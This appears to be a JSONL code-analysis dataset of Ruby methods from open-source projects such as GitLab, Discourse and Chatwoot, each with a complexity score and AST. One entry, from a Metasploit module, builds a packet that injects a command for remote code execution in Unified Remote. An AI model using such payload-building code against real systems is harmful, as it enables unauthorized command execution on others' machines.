end","complexity_score":28.75,"ast_json":"{\"type\":\"def\",\"children\":[\"interact_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"interacting\"]},{\"type\":\"send\",\"children\":[null,\"_remote_fd\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ThreadSafe\"]},\"select\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_local_fd\"]},{\"type\":\"send\",\"children\":[null,\"_remote_fd\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sd\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sd\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"_remote_fd\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"_stream_read_remote_write_local\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"_local_fd\"]}]}]},{\"type\":\"send\",\"children\":[null,\"_stream_read_local_write_remote\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]},null]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"pass\"]}]}]}]}","id":"e41e88f9-9185-4816-9a17-096376506894"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/pages_deployment.rb","start_line":94,"raw_source":"def deactivate\n    update_attribute(:deleted_at, Time.now.utc)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"deactivate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update_attribute\",{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}","id":"5a7a6838-5403-4d19-855b-80259f649c98"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/timeframe.rb","start_line":5,"raw_source":"def self.datetime(timeframe)\n    datetimes[timeframe]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"datetime\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timeframe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datetimes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"timeframe\"]}]}]}","id":"c15dfe9d-153a-41d4-83f7-302575b078e7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/tasks/evm_application.rb","start_line":30,"raw_source":"def self.server_state\n    MiqServer.my_server.status\n  rescue => error\n    :no_db if /Connection refused/i.match?(error.message)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"server_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_server\"]},\"status\"]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection refused\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"sym\",\"children\":[\"no_db\"]},null]}]},null]}]}","id":"43ccffd7-e7be-43ab-b7bc-8b0d1438f265"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/unified_remote_rce.rb","start_line":286,"raw_source":"def add_content(command)\n    # header is dymanic based on length of command\n    new_threee = \"\\x00\\x01\\x08\"\n    new_threee << \"Action\\x00\" # 416374696f6e 00\n    new_threee << \"\\x07\\x05\"\n    new_threee << \"ID\\x00\" # 4944 00\n    new_threee << \"Unified.Command\\x00\" # 556e69666965642e436f6d6d616e64 00\n    new_threee << \"\\x02\"\n    new_threee << \"Layout\\x00\" # 4c61796f7574 00\n    new_threee << \"\\x06\"\n    new_threee << \"Controls\\x00\" # 436f6e74726f6c73 00\n    new_threee << \"\\x02\\x00\\x02\"\n    new_threee << \"OnAction\\x00\" # 4f6e416374696f6e 00\n    new_threee << \"\\x02\"\n    new_threee << \"Extras\\x00\" # 457874726173 00\n    new_threee << \"\\x06\"\n    new_threee << \"Values\\x00\" # 56616c756573 00\n    new_threee << \"\\x02\\x00\\x05\"\n    new_threee << \"Key\\x00\" # 4b6579 00\n    new_threee << \"Text\\x00\" # 54657874 00\n    new_threee << \"\\x05\"\n    new_threee << \"Value\\x00\" # 56616c7565 00\n    new_threee << command\n    new_threee << \"\\x00\\x00\\x00\\x00\\x05\"\n    new_threee << \"Name\\x00\" # 4e616d65 00\n    new_threee << \"update\\x00\" # 757064617465 00\n    new_threee << \"\\x00\\x08\"\n    new_threee << \"Type\\x00\" # 54797065 00\n    new_threee << \"\\x08\\x00\\x00\\x00\\x08\"\n    new_threee << \"Request\\x00\" # 52657175657374 00\n    new_threee << \"\\x07\\x02\"\n    new_threee << \"Run\\x00\" # 52756e 00\n    new_threee << \"\\x02\"\n    new_threee << \"Extras\\x00\" # 457874726173 00\n    new_threee << \"\\x06\"\n    new_threee << \"Values\\x00\" # 56616c756573 00\n    new_threee << \"\\x02\\x00\\x05\"\n    new_threee << \"Key\\x00\" # 4b6579 00\n    new_threee << \"Text\\x00\" # 54657874 00\n    new_threee << \"\\x05\"\n    new_threee << \"Value\\x00\" # 56616c7565 00\n    new_threee << command\n    new_threee << \"\\x00\\x00\\x00\\x00\\x05\"\n    new_threee << \"Name\\x00\" # 4e616d65 00\n    new_threee << \"update\\x00\" # 757064617465 00\n    new_threee << \"\\x00\\x05\"\n    new_threee << \"Source\\x00\" # 536f75726365 00\n    new_threee << \"#{@client_name}\\x00\"\n    new_threee << \"\\x00\"\n  end","complexity_score":47.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_threee\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0001\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Action\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0007\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ID\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Unified.Command\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Layout\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Controls\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\\u0000\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"OnAction\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Extras\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Values\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Key\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Text\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Value\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Name\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"update\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Type\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\b\\u0000\\u0000\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Request\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0007\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Run\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Extras\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Values\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Key\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Text\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Value\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Name\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"update\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Source\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_name\"]}]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_threee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]}","id":"aa392c9c-3a01-4ca3-aae5-3ef2ba4e7a0f"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/manageable_repository.rb","start_line":113,"raw_source":"def managed_repository_path\n        File.join(self.class.managed_root, repository_identifier)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"managed_repository_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"managed_root\"]},{\"type\":\"send\",\"children\":[null,\"repository_identifier\"]}]}]}","id":"5905e832-4694-40de-b1f5-f018a737a82d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/alert_management_controller.rb","start_line":14,"raw_source":"def details\n    @alert_id = params[:id]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@alert_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"5aa8eeab-b732-4ba5-86ea-af67d0edc88d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/webhooks/facebook_events_job.rb","start_line":5,"raw_source":"def perform(message)\n    response = ::Integrations::Facebook::MessageParser.new(message)\n\n    key = format(::Redis::Alfred::FACEBOOK_MESSAGE_MUTEX, sender_id: response.sender_id, recipient_id: response.recipient_id)\n    with_lock(key) do\n      process_message(response)\n    end\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Integrations\"]},\"Facebook\"]},\"MessageParser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"FACEBOOK_MESSAGE_MUTEX\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sender_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"sender_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipient_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"recipient_id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process_message\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}","id":"eda546be-a076-4ff0-8546-b07b5f7f7d2a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/plugin_store.rb","start_line":73,"raw_source":"def self.cast_value(type, value)\n    case type\n    when \"Integer\", \"Fixnum\"\n      value.to_i\n    when \"TrueClass\", \"FalseClass\"\n      value == \"true\"\n    when \"JSON\"\n      map_json(::JSON.parse(value))\n    else\n      value\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cast_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Integer\"]},{\"type\":\"str\",\"children\":[\"Fixnum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"TrueClass\"]},{\"type\":\"str\",\"children\":[\"FalseClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"JSON\"]},{\"type\":\"send\",\"children\":[null,\"map_json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"cac8806e-61b3-4a6b-b6ad-720b31c76214"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/migration_support/migration_context.rb","start_line":75,"raw_source":"def initialize(connection, name, version, filename, scope)\n        @connection = connection\n        @name = name\n        @version = version\n        @filename = filename\n        @scope = scope\n\n        @migration = nil\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"lvar\",\"children\":[\"connection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@filename\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@migration\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"2e8b4d1c-9f2b-4983-b921-32a1b2b6c6f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/rake_task.rb","start_line":9,"raw_source":"def connection_and_id_from_params(migration_id)\n          database_name, id = migration_id.split('_')\n          model = Gitlab::Database.database_base_models[database_name]\n\n          [model.connection, id.to_i]\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connection_and_id_from_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"database_name\"]},{\"type\":\"lvasgn\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_id\"]},\"split\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"database_base_models\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"database_name\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"connection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_i\"]}]}]}]}","id":"cb36439b-3255-4d7c-b30b-814aaf1666b9"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/tags/case_tag_unit_test.rb","start_line":8,"raw_source":"def test_case_nodelist\n    template = Liquid::Template.parse('{% case var %}{% when true %}WHEN{% else %}ELSE{% endcase %}')\n    assert_equal(['WHEN', 'ELSE'], template.root.nodelist[0].nodelist.map(&:nodelist).flatten)\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_case_nodelist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{% case var %}{% when true %}WHEN{% else %}ELSE{% endcase %}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WHEN\"]},{\"type\":\"str\",\"children\":[\"ELSE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"root\"]},\"nodelist\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"nodelist\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nodelist\"]}]}]},\"flatten\"]}]}]}]}","id":"29b0c860-cc24-43e0-8fb4-7f9ae83ba045"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/namespaces/deletable_helper.rb","start_line":26,"raw_source":"def self_or_ancestors_deletion_in_progress_or_scheduled_message(namespace)\n      _self_deletion_in_progress_message(namespace) || _deletion_scheduled_in_hierarchy_chain_message(namespace)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"self_or_ancestors_deletion_in_progress_or_scheduled_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_self_deletion_in_progress_message\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"_deletion_scheduled_in_hierarchy_chain_message\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}","id":"08832dd3-4eda-420e-afa7-413c648a604c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb","start_line":75,"raw_source":"def self.values\n            (template&.attributes_for_insert || DEFAULTS).merge('template' => false, 'active' => true).values\n          end","complexity_score":6.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template\"]},\"attributes_for_insert\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULTS\"]}]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"template\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"values\"]}]}","id":"baf72738-884a-450c-80db-2b69c9f3976b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/stack_prof.rb","start_line":15,"raw_source":"def self.start(example)\n      puts \"Starting stackprof\"\n      raise \"Cannot nest stackprof calls!\" if ::StackProf.running?\n\n      ::StackProf.start(**stackprof_args_for(example))\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Starting stackprof\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StackProf\"]},\"running?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Cannot nest stackprof calls!\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StackProf\"]},\"start\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stackprof_args_for\",{\"type\":\"lvar\",\"children\":[\"example\"]}]}]}]}]}]}]}","id":"1b5ee6cf-3427-47c8-b72a-b3fd963fb7ea"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/scripts/benchmarks/database_write.rb","start_line":145,"raw_source":"def close\n      commit_transaction\n      @stmt.close\n      @connection.close\n\n      @tempfile.close\n      @tempfile.unlink\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit_transaction\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stmt\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tempfile\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tempfile\"]},\"unlink\"]}]}]}","id":"56c5e1fd-ec21-418e-b79b-5a788d9ac7e1"}
